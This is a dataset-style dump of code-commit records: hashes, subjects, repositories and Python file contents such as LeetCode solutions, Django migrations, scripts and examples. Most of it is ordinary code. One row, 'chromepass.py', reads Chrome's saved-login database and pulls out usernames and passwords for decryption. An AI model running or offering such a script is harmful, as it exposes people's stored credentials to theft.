commit
stringlengths
40
40
subject
stringlengths
4
1.73k
repos
stringlengths
5
127k
old_file
stringlengths
2
751
new_file
stringlengths
2
751
new_contents
stringlengths
1
8.98k
old_contents
stringlengths
0
6.59k
license
stringclasses
13 values
lang
stringclasses
23 values
72f9d74fe6503de45e7251460d5419eebcabfb7e
Add files via upload
ScottHull/Exoplanet-Pocketknife
old/hefesto_temp_fix.py
old/hefesto_temp_fix.py
import os def replace_temp(inputfile_folder): os.chdir(inputfile_folder) home_dir = os.getcwd() for i in os.listdir(os.getcwd()): if os.path.isdir(i): os.chdir(i) print("In folder: {}".format(os.getcwd())) for z in os.listdir(os.getcwd()): if...
cc0-1.0
Python
816872186966186eb463d1fd45bea3a4c6f68e00
Add new sanity test for demoproject views
pgollakota/django-chartit,pgollakota/django-chartit,pgollakota/django-chartit
demoproject/tests_demo.py
demoproject/tests_demo.py
from demoproject.urls import urlpatterns from django.test import Client, TestCase class DemoProject_TestCase(TestCase): def setUp(self): self.client = Client() def test_all_views_load(self): """ A simple sanity test to make sure all views from demoproject still continu...
bsd-2-clause
Python
2cdf9728bd185fa7a32e4a7f758311594245fae0
Add proc_suffixes_file.py
daineseh/python_code
file_path/proc_suffixes_file.py
file_path/proc_suffixes_file.py
#!/usr/bin/env python import os import re import sys SUFFIX_PAT = re.compile(r'(?P<FILE>[a-zA-z0-9]+)_\d+\b') SUFFIXED_LIST = [] def is_suffixed_file(dir_path, file_name): base_name, ext_name = os.path.splitext(file_name) match_obj = SUFFIX_PAT.match(base_name) if not match_obj: return False ...
mit
Python
286c9c8a6618fc0a87dbe1b50787331986155940
Create __init__.py
scienceopen/airtools,scienceopen/pyAIRtools,scienceopen/airtools
__init__.py
__init__.py
bsd-3-clause
Python
959aecd612f66eee22e179f985227dbb6e63202a
Move buckling calcs to continuum_analysis
dashdotrobot/bike-wheel-calc
__init__.py
__init__.py
from abaqus_model import * from abaqus_postproc import * from continuum_analysis import * from rayleighritz import RayleighRitzDiscrete from stiffcalc import *
mit
Python
6d2735035d7230e6a709f66be93b760531a42868
Create __init__.py
gldmt-duke/CokerAmitaiSGHMC,gldmt-duke/CokerAmitaiSGHMC
__init__.py
__init__.py
mit
Python
662b0754ea73ef9dc19c50ac8d9b3e2aaa7fbb02
Create __init__.py
agitatedgenius/redbot,bhagirathbhard/redbot
__init__.py
__init__.py
mit
Python
05a6080eed951f80da3b6f7ee4962101884f328e
add testing utility for checking term lookback windows
quantopian/zipline,humdings/zipline,humdings/zipline,quantopian/zipline
zipline/pipeline/factors/testing.py
zipline/pipeline/factors/testing.py
import numpy as np from zipline.testing.predicates import assert_equal from .factor import CustomFactor class IDBox(object): """A wrapper that hashs to the id of the underlying object and compares equality on the id of the underlying. Parameters ---------- ob : any The object to wrap. ...
apache-2.0
Python
d3a684b06d2d61f2a498346f78a5cbbabd7828e7
Create elastic_search.py
amitsaha/learning,amitsaha/learning,amitsaha/learning,amitsaha/learning,amitsaha/learning,amitsaha/learning,amitsaha/learning,amitsaha/learning,amitsaha/learning,amitsaha/learning,amitsaha/learning
misc/elastic_search.py
misc/elastic_search.py
import requests import json import pprint es = 'http://hostt:9200/' query = ''' {'fields': ['field1', 'field2',], 'filter': {'bool': {'must': [{'terms': {'field1': [1, 2]}}, {'bool': {'should': [{'term': {'field2': 'p'}}, ...
unlicense
Python
7bf376c57cc989f382f6a1cdc6a5f956b2c73fd6
Add pixels_with_value()
ronrest/convenience_py,ronrest/convenience_py
ml/img/segmentation.py
ml/img/segmentation.py
import numpy as np def pixels_with_value(img, val): return np.all(img==np.array(val), axis=2)
apache-2.0
Python
13c40d631c5d0e6035ea143a68e45201691b46a5
Create 0303_restaurant_plural_foods.py
boisvert42/npr-puzzle-python
2019/0303_restaurant_plural_foods.py
2019/0303_restaurant_plural_foods.py
# -*- coding: utf-8 -*- """ NPR 2019-03-03 https://www.npr.org/2019/03/03/699735287/sunday-puzzle-in-this-game-a-chance-to-claim-vic-tor-y Name a popular restaurant chain in two words. Its letters can be rearranged to spell some things to eat and some things to drink. Both are plural words. What things are these, an...
cc0-1.0
Python
bfdac16ca4e0ae30e345b221c7754f19669a55da
update full version of criteria module.
biokit/biokit,biokit/biokit
biokit/stats/criteria.py
biokit/stats/criteria.py
<<<<<<< HEAD # -*- coding: utf-8 -*- import math __all__ = ['AIC', 'AICc', 'BIC'] def AIC(L, k): """Return Akaike information criterion (AIC) :param int k: number of parameters :param float L: maximised value of the likelihood function Suppose that we have a statistical model of some data,...
bsd-2-clause
Python
ed46c3887c7b51cd75d46523af7b901b79eb92fc
add import script for Milton Keynes (closes #863)
chris48s/UK-Polling-Stations,DemocracyClub/UK-Polling-Stations,chris48s/UK-Polling-Stations,DemocracyClub/UK-Polling-Stations,chris48s/UK-Polling-Stations,DemocracyClub/UK-Polling-Stations
polling_stations/apps/data_collection/management/commands/import_milton_keynes.py
polling_stations/apps/data_collection/management/commands/import_milton_keynes.py
from data_collection.management.commands import BaseXpressDemocracyClubCsvImporter class Command(BaseXpressDemocracyClubCsvImporter): council_id = 'E06000042' addresses_name = 'parl.2017-06-08/Version 1/Democracy_Club__08June2017 (1).tsv' stations_name = 'parl.2017-06-08/Version 1/Democracy_Club__08June201...
bsd-3-clause
Python
4f042e64e3155abfc4b86f61623a4d999dad0f89
Move tinyHttpServer.py
amsehili/genRSS
tinyHttpServer.py
tinyHttpServer.py
import SimpleHTTPServer import SocketServer PORT = 8080 try: Handler = SimpleHTTPServer.SimpleHTTPRequestHandler httpd = SocketServer.TCPServer(("", PORT), Handler) print("serving at port %d" % (PORT)) print("Type Ctrl+C to quit") httpd.serve_forever() except KeyboardInterrupt as e: print("\nserver ...
mit
Python
5fb6b31ea928162c5185d66381ae99c7454d33c0
Add comb sort algorithm
TheAlgorithms/Python
sorts/comb_sort.py
sorts/comb_sort.py
""" Comb sort is a relatively simple sorting algorithm originally designed by Wlodzimierz Dobosiewicz in 1980. Later it was rediscovered by Stephen Lacey and Richard Box in 1991. Comb sort improves on bubble sort. This is pure python implementation of counting sort algorithm For doctests run following command: python ...
mit
Python
2ed853301e8cedb72c7c07367d58e55cac23aa7c
add PI to arduino
winlinvip/raspi-tools,winlinvip/raspi-tools
raspi-pl2303.py
raspi-pl2303.py
#!/usr/bin/env python import serial print 'RaspberryPi PL2303(USB2SerialTTL) communicate.' print "Copyright (c) 2015 winlin(winlin@vip.126.com)" f = serial.Serial('/dev/ttyUSB0', 115200) while True: v = "Hello, Arduino, this is RaspberryPi 2.0~" f.write(v) print 'PI: %s'%(v) r = '' for i in v: ...
mit
Python
30412406b354f510a7321c3b3a159df6d7743668
Add a database file for Loren to complete
stuy-tetrabyte/graduation-req-tracker
utils/database.py
utils/database.py
import database_setup assert(database_setup.is_table_set_up()) # TODO: Create the stubs for database files # Assignee: Loren
mit
Python
929abedc5f971a58dfb54b706c66548609351835
Create fair_warning.py
py-in-the-sky/challenges,py-in-the-sky/challenges,py-in-the-sky/challenges
google-code-jam/fair_warning.py
google-code-jam/fair_warning.py
""" https://code.google.com/codejam/contest/433101/dashboard#s=p1 """ def gcd(a, b): if b > a: return gcd(b, a) elif b == 0: return a else: return gcd(b, a % b) def big_gcd(a): return reduce(lambda x,y: gcd(x, y), a) def solve(nums): nums = sorted(nums) diffs = [(num...
mit
Python
b7a019b41cbfac78ff48fe604d401921786d7459
Add size_continuous_layer helper tests
CartoDB/cartoframes,CartoDB/cartoframes
test/viz/helpers/test_size_continuous_layer.py
test/viz/helpers/test_size_continuous_layer.py
import unittest from unittest.mock import Mock from cartoframes.viz import helpers, Source class TestSizeContinuousLayerHelper(unittest.TestCase): def test_helpers(self): "should be defined" self.assertNotEqual(helpers.size_continuous_layer, None) def test_size_continuous_layer(self): ...
bsd-3-clause
Python
e79445de75721b0d0b8ab1b6c8e24f036bf35a11
make qsub
Paul-St-Young/solid_hydrogen
nexus_obj/ascii_txt.py
nexus_obj/ascii_txt.py
import os def qsub_file(fnames,nmpi=64,title='title',hours=2): header = """#!/bin/bash #PBS -N %s #PBS -l walltime=0%d:00:00 #PBS -l nodes=%d #PBS -A mat158 #PBS -j oe #PBS -k n cd ${PBS_O_WORKDIR} export OMP_NUM_THREADS=8 BIN=~/soft/kylin_qmcpack/qmcpack_cpu_comp\n\n""" % ( title, hours, len(fnames)*nmpi/2 ...
mit
Python
430c5301d7db50b153b0ae33f5c281506948099c
Add new package
valsdav/plastex,valsdav/plastex,mungerd/plastex,mungerd/plastex,mungerd/plastex,mungerd/plastex,valsdav/plastex,dav94/plastex,dav94/plastex,dav94/plastex,valsdav/plastex,dav94/plastex
plasTeX/Packages/afterpage.py
plasTeX/Packages/afterpage.py
#!/usr/bin/env python from plasTeX import Command, Environment class afterpage(Command): args = 'self:nox' def invoke(self, tex): super(afterpage, self).invoke(tex) return []
mit
Python
b40eb5723eeab38edb2440d04d65f1c5be4ad4c0
Create solution.py
lilsweetcaligula/Algorithms,lilsweetcaligula/Algorithms,lilsweetcaligula/Algorithms
data_structures/linked_list/problems/anagrams/py/solution.py
data_structures/linked_list/problems/anagrams/py/solution.py
import LinkedList # Problem description: # Solution time complexity: # Comments: # Linked List Node inside the LinkedList module is declared as: # # class Node: # def __init__(self, val, nxt=None): # self.val = val # self.nxt = nxt # def AreAnagrams(left: LinkedLis...
mit
Python
e9a71173eae28b378052ddce4e0fe8a3d3313c4e
Disable screenshot_sync_tests on Mac.
jaruba/chromium.src,Jonekee/chromium.src,ondra-novak/chromium.src,Just-D/chromium-1,jaruba/chromium.src,TheTypoMaster/chromium-crosswalk,littlstar/chromium.src,axinging/chromium-crosswalk,Chilledheart/chromium,markYoungH/chromium.src,mohamed--abdel-maksoud/chromium.src,fujunwei/chromium-crosswalk,mohamed--abdel-maksoud...
content/test/gpu/gpu_tests/screenshot_sync.py
content/test/gpu/gpu_tests/screenshot_sync.py
# Copyright 2014 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import os import screenshot_sync_expectations as expectations from telemetry import test from telemetry.core import util from telemetry.page import page fro...
# Copyright 2014 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import os import screenshot_sync_expectations as expectations from telemetry import test from telemetry.core import util from telemetry.page import page fro...
bsd-3-clause
Python
48e19852c6e1f5a0f2792a62adeb560121d77d11
Create __init__.py
thegreathippo/crispy
crispy/__init__.py
crispy/__init__.py
mit
Python
ca25a4e2aedd657a10c7bfa2849f9f3d16f5ee9f
Add Eq demo
NicolasT/typeclasses
demo/eq.py
demo/eq.py
# typeclasses, an educational implementation of Haskell-style type # classes, in Python # # Copyright (C) 2010 Nicolas Trangez <eikke eikke com> # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Fou...
lgpl-2.1
Python
176ab29c5f0506d5ba94a2676b81f34f7e2a6b3b
Add migration for expiration_date change (#28)
vittoriozamboni/django-groups-manager,vittoriozamboni/django-groups-manager
groups_manager/migrations/0005_auto_20181001_1009.py
groups_manager/migrations/0005_auto_20181001_1009.py
# -*- coding: utf-8 -*- # Generated by Django 1.9 on 2018-10-01 10:09 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('groups_manager', '0004_0_6_0_groupmember_expiration_date'), ] operations = [ m...
mit
Python
7043c46624df6f1899df9fc58e1a8631fc67f43d
add log.py
simbuerg/benchbuild,simbuerg/benchbuild
pprof/log.py
pprof/log.py
#!/usr/bin/env python # encoding: utf-8 """ Analyze the PPROF database. """ from plumbum import cli from pprof.driver import PollyProfiling def print_runs(query): """ Print all rows in this result query. """ if query is None: return for tup in query: print("{} @ {} - {} id: {} group: {...
mit
Python
caa92a302f3dcc6ed084ebc9f20db28c63d48d29
Add missing file
warnes/irrigatorpro,warnes/irrigatorpro,warnes/irrigatorpro,warnes/irrigatorpro
irrigator_pro/uga/aggregates.py
irrigator_pro/uga/aggregates.py
from django.db import connections from django.db.models.aggregates import Aggregate from django.db.models.sql.aggregates import Aggregate as SQLAggregate from uga.models import UGAProbeData __initialized__ = False class SimpleAggregate(Aggregate): def add_to_query(se...
mit
Python
253cda3fc9d377dc64fe4b67b5fe55f911c8693f
Add startsliver script.
nmc-probe/emulab-nome,nmc-probe/emulab-nome,nmc-probe/emulab-nome,nmc-probe/emulab-nome,nmc-probe/emulab-nome,nmc-probe/emulab-nome,nmc-probe/emulab-nome,nmc-probe/emulab-nome,nmc-probe/emulab-nome,nmc-probe/emulab-nome,nmc-probe/emulab-nome
protogeni/test/startsliver.py
protogeni/test/startsliver.py
#! /usr/bin/env python # # GENIPUBLIC-COPYRIGHT # Copyright (c) 2008-2009 University of Utah and the Flux Group. # All rights reserved. # # Permission to use, copy, modify and distribute this software is hereby # granted provided that (1) source code retains these copyright, permission, # and disclaimer notices, and (...
agpl-3.0
Python
aa88f2b64c8c2837022ee020862ec2c0a9a6e7ad
Add fabfile for generating docs in gh-pages branch.
openxc/openxc-python,openxc/openxc-python,openxc/openxc-python
fabfile.py
fabfile.py
from __future__ import with_statement import os from fabric.api import abort, local, task, lcd @task(default=True) def docs(clean='no', browse_='no'): with lcd('docs'): local('make clean html') temp_path = "/tmp/openxc-python-docs" docs_path = "%s/docs/_build/html" % local("pwd", capture=True) ...
bsd-3-clause
Python
1e4f86f3184d0ae09d2a14690257ba9d4c44edb1
remove dups (local sequence alignments)
brwnj/repertoire,brwnj/repertoire
repertoire/collapse_reads.py
repertoire/collapse_reads.py
#!/usr/bin/env python # encoding: utf-8 """ matches = pairwise2.align.localms(target, query, 1, -1, -3, -2) try: # highest scoring match first return int(matches[0][3]) except IndexError: """ import sys from toolshed import nopen from parsers import read_fastx from Bio import pairwise2 from collections import O...
mit
Python
736093f945ff53c4fe6d9d8d2e0c4afc28d9ace3
Add answer to leetcode rotate list
air-upc/chimera,air-upc/chimera
chimera/py/leetcode_rotate_list.py
chimera/py/leetcode_rotate_list.py
# coding=utf-8 """ chimera.leetcode_rotate_list ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Given a list, rotate the list to the right by k places, where k is non-negative. For example: Given 1->2->3->4->5->NULL and k = 2, return 4->5->1->2->3->NULL. """ # Definition for singly-linked list. # class ListNode(object): # def __...
mit
Python
22bb91cfc1b1dc637e33625dcbaf3e8499b384ec
Add LinearRegression.py
Jamjomjara/snu-artoon,Jamjomjara/snu-artoon
1-LinearRegression/LinearRegression.py
1-LinearRegression/LinearRegression.py
import tensorflow as tf # TensorFlow Example (1) - Linear Regression # # (model) y = ax + b # By giving some pairs of (x, y) that satisfies the given model, # TensorFlow can compute the value of 'a' and 'b' # by using very simple Machine Learning(ML) algorithm. # 1. implementing our model. # TensorFlow has an eleme...
mit
Python
08d7e10d74297f16e4bcb5cfb7de0749d9d101bc
add missing fiel
codesyntax/CodeSkel,codesyntax/CodeSkel,codesyntax/CodeSkel,codesyntax/CodeSkel
codeskel/localcommands/__init__.py
codeskel/localcommands/__init__.py
mit
Python
0c289af5ef7f26796bdc4b4183f456074f7440f7
Create dijkstra.py
oy-vey/algorithms-and-data-structures,oy-vey/algorithms-and-data-structures
3-AlgorithmsOnGraphs/Week4/dijkstra/dijkstra.py
3-AlgorithmsOnGraphs/Week4/dijkstra/dijkstra.py
#Uses python3 import sys import queue def Dijkstra(adj, s, cost, t): dist = list() prev = list() inf = 0 for c in cost: inf += sum(c) inf += 1 for u in range(0, len(adj)): dist.append(inf) prev.append(None) dist[s] = 0 H = queue.PriorityQueue() for i, d in...
mit
Python
26ae4b857780ba8d5ecfbd8c8cab39452f086e58
add conf.py for docs (test)
bazooka-ci/bazooka,bazooka-ci/bazooka,bazooka-ci/bazooka,bazooka-ci/bazooka
docs/conf.py
docs/conf.py
# -*- coding: utf-8 -*- # # bazooka documentation build configuration file, created by # sphinx-quickstart on Tue Mar 3 13:34:12 2015. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # A...
mit
Python
18e8cee5c19329dac7e931cb00e67f8d19e3f89d
add script `compare_win_set`
johnyf/gr1experiments
examples/bunny/compare_win_set.py
examples/bunny/compare_win_set.py
from dd import cudd b = cudd.BDD() u_gr1x = cudd.load('winning_set', b) u_slugs = b.load('winning_set_bdd.txt') env_action_slugs = b.load('env_action_slugs.txt') sys_action_slugs = b.load('sys_action_slugs.txt') assumption_0_slugs = b.load('assumption_0_slugs.txt') goal_0_slugs = b.load('goal_0_slugs.txt') env_acti...
bsd-3-clause
Python
46bcea5a4c1a46cd7e458fa5fd7b761bbea25b4f
add a RAI radio player
stefantalpalaru/bbc_radio
rai_radio.py
rai_radio.py
#!/usr/bin/env python import sys from PySide.QtCore import * from PySide.QtGui import * from pprint import pprint import subprocess import argparse # URL list taken from http://www.rai.it/dl/portale/info_radio.html STATIONS = [ ['Radio 1', 'http://mediapolis.rai.it/relinker/relinkerServlet.htm?cont=162834'], ...
bsd-3-clause
Python
f4e4d2781662f7f8c38b12aacc5ad0fca6e1b4da
add comparison with svm^struct on multiclass data
pystruct/pystruct,wattlebird/pystruct,amueller/pystruct,massmutual/pystruct,pystruct/pystruct,d-mittal/pystruct,massmutual/pystruct,amueller/pystruct,wattlebird/pystruct,d-mittal/pystruct
examples/multiclass_comparision_svm_struct.py
examples/multiclass_comparision_svm_struct.py
""" ================================================================== Comparing PyStruct and SVM-Struct for multi-class classification ================================================================== This example compares the performance of pystruct and SVM^struct on a multi-class problem. For the example to work, y...
bsd-2-clause
Python
cc19cdc3430df018e3a8fa63abaf796a897a475b
Add naive bayes SQL test.
kwikadi/orange3,kwikadi/orange3,qPCR4vir/orange3,kwikadi/orange3,cheral/orange3,qusp/orange3,marinkaz/orange3,cheral/orange3,qusp/orange3,kwikadi/orange3,kwikadi/orange3,cheral/orange3,marinkaz/orange3,qPCR4vir/orange3,qPCR4vir/orange3,kwikadi/orange3,marinkaz/orange3,cheral/orange3,qusp/orange3,qPCR4vir/orange3,qPCR4v...
Orange/tests/sql/test_naive_bayes.py
Orange/tests/sql/test_naive_bayes.py
import unittest from numpy import array import Orange.classification.naive_bayes as nb from Orange.data.discretization import DiscretizeTable from Orange.data.sql.table import SqlTable from Orange.data.variable import DiscreteVariable class NaiveBayesTest(unittest.TestCase): def test_NaiveBayes(self): t...
bsd-2-clause
Python
78f89e96adedd1045f900d5f9f95c3eb35c12ca3
Create routine module with Tool class
BakeCode/performance-testing,BakeCode/performance-testing
performance/routine.py
performance/routine.py
class Tool: def __init__(self, config): pass
mit
Python
6c0aab6c14539b1cd4eedcd1280bcc4eb35ff7ea
Create poly_talker.py
Shad0wSt4R/poly_crier
poly_talker.py
poly_talker.py
#! /usr/bin/env python import rospy from std_msgs.msg import String from random import randint def talker(): # List of names to be printed words = ["Dr. Bushey", "Vamsi", "Jon"] # Registers with roscore a node called "talker". # ROS programs are called nodes. rospy.init_node('talker') # Publisher object get...
mit
Python
7b3753428f04c86b95191e76ca2c50b54577411a
add problem 27
smrmkt/project_euler
problem_027.py
problem_027.py
#!/usr/bin/env python #-*-coding:utf-8-*- ''' Euler discovered the remarkable quadratic formula: n² + n + 41 It turns out that the formula will produce 40 primes for the consecutive values n = 0 to 39. However, when n = 40, 402 + 40 + 41 = 40(40 + 1) + 41 is divisible by 41, and certainly when n = 41, 41² + 41 + 41 ...
mit
Python
f530fb3ebe5639d7d6dfe013c5abc70769009a04
add script
malaterre/dicom-private-dicts,malaterre/dicom-private-dicts,malaterre/dicom-private-dicts
collapse.py
collapse.py
#!/usr/bin/env python import json import sys import argparse import xmldict f='bla.json' ref=2 out=[] with open(f) as data_file: pages = json.load(data_file) for page in pages: data = page['data'] lineIter = iter(data) oldline = None for line in lineIter: ref_line = line[ref]['text'] if...
bsd-3-clause
Python
e9451a8b2d196353e393d265482e37faa651eb1e
Tue Nov 4 20:46:16 PKT 2014 Init
hassaanaliw/chromepass
chromepass.py
chromepass.py
from os import getenv import sqlite3 import win32crypt appdata = getenv("APPDATA") connection = sqlite3.connect(appdata + "\..\Local\Google\Chrome\User Data\Default\Login Data") cursor = connection.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for information in cursor.fetch...
mit
Python
0c38c72ef0bc337677f80f0b087ffa374f211e37
Create saxparser.py
RDBinns/datactrl
saxparser.py
saxparser.py
#!/usr/bin/python import sys import xml.sax import io import MySQLdb class MyHandler(xml.sax.ContentHandler): def __init__(self): xml.sax.ContentHandler.__init__(self) self.db = MySQLdb.connect(host="localhost", user="root", passwd="", db="registerdb2011") self.cursor = self.db.cursor() ...
apache-2.0
Python
cf9b6b477e6d044e4065086f98906a0eb4504ff3
Add slack_nagios script
al4/python-slack_nagios
slack_nagios.py
slack_nagios.py
#!/bin/python import argparse import requests """ A simple script to post nagios notifications to slack Similar to https://raw.github.com/tinyspeck/services-examples/master/nagios.pl But adds proxy support Note: If your internal proxy only exposes an http interface, you will need to be running a modern version of u...
mit
Python
f437b7875aa4bed06dcf3884bb81c009b7e473f0
Add 290-word-pattern.py
mvj3/leetcode
290-word-pattern.py
290-word-pattern.py
""" Question: Word Pattern Given a pattern and a string str, find if str follows the same pattern. Examples: pattern = "abba", str = "dog cat cat dog" should return true. pattern = "abba", str = "dog cat cat fish" should return false. pattern = "aaaa", str = "dog cat cat dog" should return fal...
mit
Python
f39a640a8d5bf7d4a5d80f94235d1fa7461bd4dc
Add code for stashing a single nuxeo image on s3.
barbarahui/nuxeo-calisphere,barbarahui/nuxeo-calisphere
s3stash/stash_single_image.py
s3stash/stash_single_image.py
#!/usr/bin/env python # -*- coding: utf-8 -*- import sys, os import argparse import logging import json from s3stash.nxstashref_image import NuxeoStashImage def main(argv=None): parser = argparse.ArgumentParser(description='Produce jp2 version of Nuxeo image file and stash in S3.') parser.add_argument('path',...
bsd-3-clause
Python
12821e2859151e8f949f55b8c363ff95d296a7d0
add setup.py for python interface
mhdella/libsvm,cypro666/libsvm,dejon97/libsvm,asifmadnan/libsvm,phoenixstar7/libsvm,androidYibo/libsvm,DaveGeneral/libsvm,Adoni/libsvm,cjlin1/libsvm,mhdella/libsvm,Guokr1991/libsvm,ntucllab/hintsvm,sdgdsffdsfff/libsvm,G-P-S/libsvm,phoenixstar7/libsvm,asifmadnan/libsvm,sdgdsffdsfff/libsvm,androidYibo/libsvm,ntucllab/hin...
python/setup.py
python/setup.py
#!/usr/bin/env python from distutils.core import setup, Extension setup(name = "LIBSVM", version = "2.87", author="Chih-Chung Chang and Chih-Jen Lin", maintainer="Chih-Jen Lin", maintainer_email="cjlin@csie.ntu.edu.tw", url="http://www.csie.ntu.edu.tw/~cjlin/libsvm/", description =...
bsd-3-clause
Python
794b8c32dd0c5bd45bb580a75f6f4da63b689eb6
Add `find_contentitem_urls` management command to index URL usage
django-fluent/django-fluent-contents,edoburu/django-fluent-contents,edoburu/django-fluent-contents,django-fluent/django-fluent-contents,django-fluent/django-fluent-contents,edoburu/django-fluent-contents
fluent_contents/management/commands/find_contentitem_urls.py
fluent_contents/management/commands/find_contentitem_urls.py
import operator from functools import reduce import sys from django.core.management.base import BaseCommand from django.db import models from django.db.models import Q from django.utils.encoding import force_text from django.utils import six from fluent_contents.extensions import PluginHtmlField, PluginImageField, Plu...
apache-2.0
Python
fc911a4952a46ea372e1a42cff78351b4f8b42ef
complete 15 lattice paths
dawran6/project-euler
15-lattice-paths.py
15-lattice-paths.py
from collections import defaultdict from math import factorial as fac if __name__ == '__main__': # Dynamic programming method paths = defaultdict(dict) for i in range(21): paths[0][i] = 1 paths[i][0] = 1 for i in range(1, 21): for j in range(1, 21): paths[i][j] = pat...
mit
Python
684387315025bc7789aa75def757894cb8d92154
add quickie Python JSON-filtering script
tidepool-org/tideline,tidepool-org/tideline
dev/filter_json.py
dev/filter_json.py
# == BSD2 LICENSE == # Copyright (c) 2014, Tidepool Project # # This program is free software; you can redistribute it and/or modify it under # the terms of the associated License, which is identical to the BSD 2-Clause # License as published by the Open Source Initiative at opensource.org. # # This program is distri...
bsd-2-clause
Python
7d20f9bcbfda514c216fb7faaa08325f21c0e119
add 01 code
xiaxiaoyu1988/leetcode,xiaxiaoyu1988/leetcode
01-two-snum.py
01-two-snum.py
class Solution(object): def twoSum(self, nums, target): """ :type nums: List[int] :type target: int :rtype: List[int] """ for i in range(len(nums)): last = nums[i] # print last for j, num in enumerate(nums[i+1:]): # ...
mit
Python
b699a18f8928a6e859ebc34a843e4c8a64a22b26
add script to grid-search model parameters — script from scikit-learn: http://scikit-learn.org/stable/modules/generated/sklearn.model_selection.GridSearchCV.html#sklearn.model_selection.GridSearchCV
juanmirocks/LocText,juanmirocks/LocText,Rostlab/LocText,juanmirocks/LocText,Rostlab/LocText,Rostlab/LocText
scripts/grid_search_digits.py
scripts/grid_search_digits.py
""" ============================================================ Parameter estimation using grid search with cross-validation ============================================================ This examples shows how a classifier is optimized by cross-validation, which is done using the :class:`sklearn.model_selection.GridS...
apache-2.0
Python
3c2316b69fcee9db820937c2814a9872e27f95a9
Implement frequent direction sketch
hido/frequent-direction
fd_sketch.py
fd_sketch.py
# -*- coding: utf-8 -*- #!/usr/bin/env python import numpy as np import numpy.linalg as ln import math import sys """ This is a simple and deterministic method for matrix sketch. The original method has been introduced in [Liberty2013]_ . [Liberty2013] Edo Liberty, "Simple and Deterministic Matrix Sketching", ACM SI...
bsd-2-clause
Python
fe86df913b79fdf8c3627fe31b87c6dfa3da4f46
implement QEngine
rajpurkar/chess-deep-rl
engines/QEngine.py
engines/QEngine.py
#!/usr/bin/env python3 from ChessEngine import ChessEngine import chess import sys sys.path.append('.') import data class QEngine(ChessEngine): def __init__(self, picklefile): super().__init__() with open(picklefile, "rb") as f: self.Q = pickle.load(Q, f) def search(self): ...
mit
Python
e782e519012c4734f591388114fc954fdc014acf
add thousands_separator in Python to format folder
daltonmenezes/learning-C
src/Python/format/thousands_separator.py
src/Python/format/thousands_separator.py
#!/usr/bin/env python print " Formated number:", "{:,}".format(102403)
mit
Python
3e8c18b32058d9d33ae0d12744355bb65c2b96ed
add alembic migration for orders table
wuvt/wuvt-site,wuvt/wuvt-site,wuvt/wuvt-site,wuvt/wuvt-site
migrations/versions/187cf9175cee_add_orders_table.py
migrations/versions/187cf9175cee_add_orders_table.py
"""add orders table Revision ID: 187cf9175cee Revises: 3d8cf74c2de4 Create Date: 2015-10-23 23:43:31.769594 """ # revision identifiers, used by Alembic. revision = '187cf9175cee' down_revision = '3d8cf74c2de4' from alembic import op import sqlalchemy as sa def upgrade(): ### commands auto generated by Alembic...
agpl-3.0
Python
64dede2c9a3d489eb8c93200ea8788c26db6da31
Create 6kyu_divisor_harmony.py
Orange9000/Codewars,Orange9000/Codewars
Solutions/6kyu/6kyu_divisor_harmony.py
Solutions/6kyu/6kyu_divisor_harmony.py
def solve(a,b): pairs={} for i in range(a,b): ratio=div_sum(i)/i try: pairs[ratio]=pairs[ratio]+[i] except: pairs[ratio]=[i] return sum(min(i) for i in pairs.values() if len(i)>=2) def div_sum(n): return sum(i for i in range(1,n+1) if n%i==0)
mit
Python
de7b7d10e5776d631c15660255cf8ad2b85f3d25
Create Beginner 10-A.py
unasuke/AtCoder,unasuke/AtCoder,unasuke/AtCoder
Beginner/10/10-A.py
Beginner/10/10-A.py
#AtCoder Beginner 10 A name = raw_input() print name + "pp"
mit
Python
d65e9246256709f2cec0fa863515cca0dc4acb0b
add config for sphinx documentation
LILiK-117bis/lilik_playbook,LILiK-117bis/lilik_playbook,LILiK-117bis/lilik_playbook
doc/source/conf.py
doc/source/conf.py
# -*- coding: utf-8 -*- # # lilik_playbook documentation build configuration file, created by # sphinx-quickstart on Fri Apr 7 14:02:37 2017. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file...
cc0-1.0
Python
871e9e4bdca027e577bdcde38f483e2de32c8528
Add simple example
life360/apns-proxy-server,life360/apns-proxy-server,voyagegroup/apns-proxy-server,voyagegroup/apns-proxy-server
examples/simple.py
examples/simple.py
# -*- coding: utf-8 -*- import time from apns_proxy_client import APNSProxyClient valid_token = "YOUR VALID TOKEN" def main(): client = APNSProxyClient(host="localhost", port=5556, application_id="14") i = 0 with client: token = valid_token client.send(token, 'Alert with default sound...
bsd-2-clause
Python
9f7bd49350b0d1b8a8986b28db75a5b369bf7bb5
Add py solution for 393. UTF-8 Validation
ckclark/leetcode,ckclark/leetcode,ckclark/leetcode,ckclark/leetcode,ckclark/leetcode,ckclark/leetcode
py/utf-8-validation.py
py/utf-8-validation.py
class Solution(object): def validUtf8(self, data): """ :type data: List[int] :rtype: bool """ it = iter(data) while True: try: c = it.next() & 0xff try: t = 0x80 n = 0 ...
apache-2.0
Python
fb70822079c47962f0f713bcea43af80fe58d93e
add example using the VTKMesh class
simphony/simphony-mayavi
examples/mesh_vtk_example.py
examples/mesh_vtk_example.py
from numpy import array from simphony.cuds.mesh import Point, Cell, Edge, Face from simphony.core.data_container import DataContainer from simphony_mayavi.cuds.api import VTKMesh points = array([ [0, 0, 0], [1, 0, 0], [0, 1, 0], [0, 0, 1], [2, 0, 0], [3, 0, 0], [3, 1, 0], [2, 1, 0], [2, 0, 1], [3, 0, 1],...
bsd-2-clause
Python
bdc062830a943a312dc6b56002f5ca6ae3990b80
add example
cupy/cupy,cupy/cupy,cupy/cupy,cupy/cupy
examples/peer/peer_matrix.py
examples/peer/peer_matrix.py
import cupy def main(): gpus = cupy.cuda.runtime.getDeviceCount() for peerDevice in range(gpus): for device in range(gpus): if peerDevice == device: continue flag = cupy.cuda.runtime.deviceCanAccessPeer(device, peerDevice) print( f'Ca...
mit
Python
51530297a561fa9630f69c70810c1b4bbeb7ecf0
Create testmessage table
dropbox/changes,dropbox/changes,dropbox/changes,dropbox/changes
